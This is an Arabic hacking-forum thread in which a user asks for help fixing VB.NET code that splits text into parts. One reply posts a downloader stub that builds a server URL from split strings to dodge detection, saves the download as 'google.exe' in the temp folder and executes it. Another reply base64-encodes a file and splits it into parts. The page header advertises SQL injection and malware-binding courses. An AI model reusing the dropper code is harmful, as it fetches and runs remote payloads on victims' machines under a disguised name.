1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ مشكلة ] مشكلة فى تقسيم النص

الموضوع في 'قسم الطلبات والأستفسارات' بواسطة ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ, بتاريخ ‏15 نوفمبر 2015.

كاتب الموضوع : ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ المشاهدات : 400 الردود : 8 ‏15 نوفمبر 2015
  1. غير متصل

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    كان عندى مشكلة وهى تقسيم النص الى اجزاء وحفظها
    انا استعمل هذا الكود ولاكن به مشكلة فى التقسيم
    الكود


    كود:
       Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = TextBox1.Text
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 3
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
    
    









    ممكن حل





     


    جاري تحميل الصفحة...
  2. أفضل إجابة:
    Post #3 by A-R, ‏16 نوفمبر 2015 (1 points)
  3. غير متصل

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:



  4. غير متصل

    A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    أفضل إجابة
    رد: مشكلة فى تقسيم النص

    وعليكم السلام قصدك هذا الكود وضح طلبك


    كود:
    
    
    كود تقسيم الروابط
    
    
    
    
    
    
    Public Class Form1
        Dim h, s, o, n As String
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    'تستطيع اضافة دالة وتقسم الرابط الى 5 تقسيمات واكثر 
            h = ""
            s = ""
            o = ""
            n = ""
     
     
     
     
            Dim URL As String = h & s & o & n
            Dim DownloadTo As String = Environ("temp") & "\google.exe"
    re:
            Try
                Dim w As New Net.WebClient
                IO.File.WriteAllBytes(DownloadTo, w.DownloadData(URL))
                Process.Start(DownloadTo)
            Catch ex As Exception
                ' on Error you can retry
                ' Goto Re
            End Try
        End Sub
     
    End Class
     


  5. غير متصل

    A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    رد: مشكلة فى تقسيم النص

    اسف فهمت الموضوع غلط ضنيت اتريد تقسيم رابط السيرفر اتفضل هذا بلكي يفيدك​

    كود:
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
            Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 1
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
            MsgBox("Done !! ")
        End Sub
     


  6. غير متصل

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: مشكلة فى تقسيم النص

    اخى الكود به مشكلة فى التقسيم
    صورة
    [​IMG]


    انا كنت مخلى البرنامج يقسم النص دة ( minamazen123456789 )على 3 و زى ما انت شايف التقسيم خطاء









     


  7. غير متصل

    A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    رد: مشكلة فى تقسيم النص

    ي اخي فهمت الخطئ وعذرني لاني لست قوي بالبرمجة


    وانتضر الاخوة يساعدوك​
     


  8. غير متصل

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: مشكلة فى تقسيم النص

    تم الحل
     


  9. غير متصل

    A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    رد: مشكلة فى تقسيم النص

    اي على الخير والحمد الله موفق​
     


  10. غير متصل

    علاؤي هكر ألجنوب
    Developer

    عضو منذ:
    ‏15 ديسمبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    رد: مشكلة فى تقسيم النص

    [​IMG] احسنت [​IMG]
     


مشاركة هذه الصفحة

جاري تحميل الصفحة...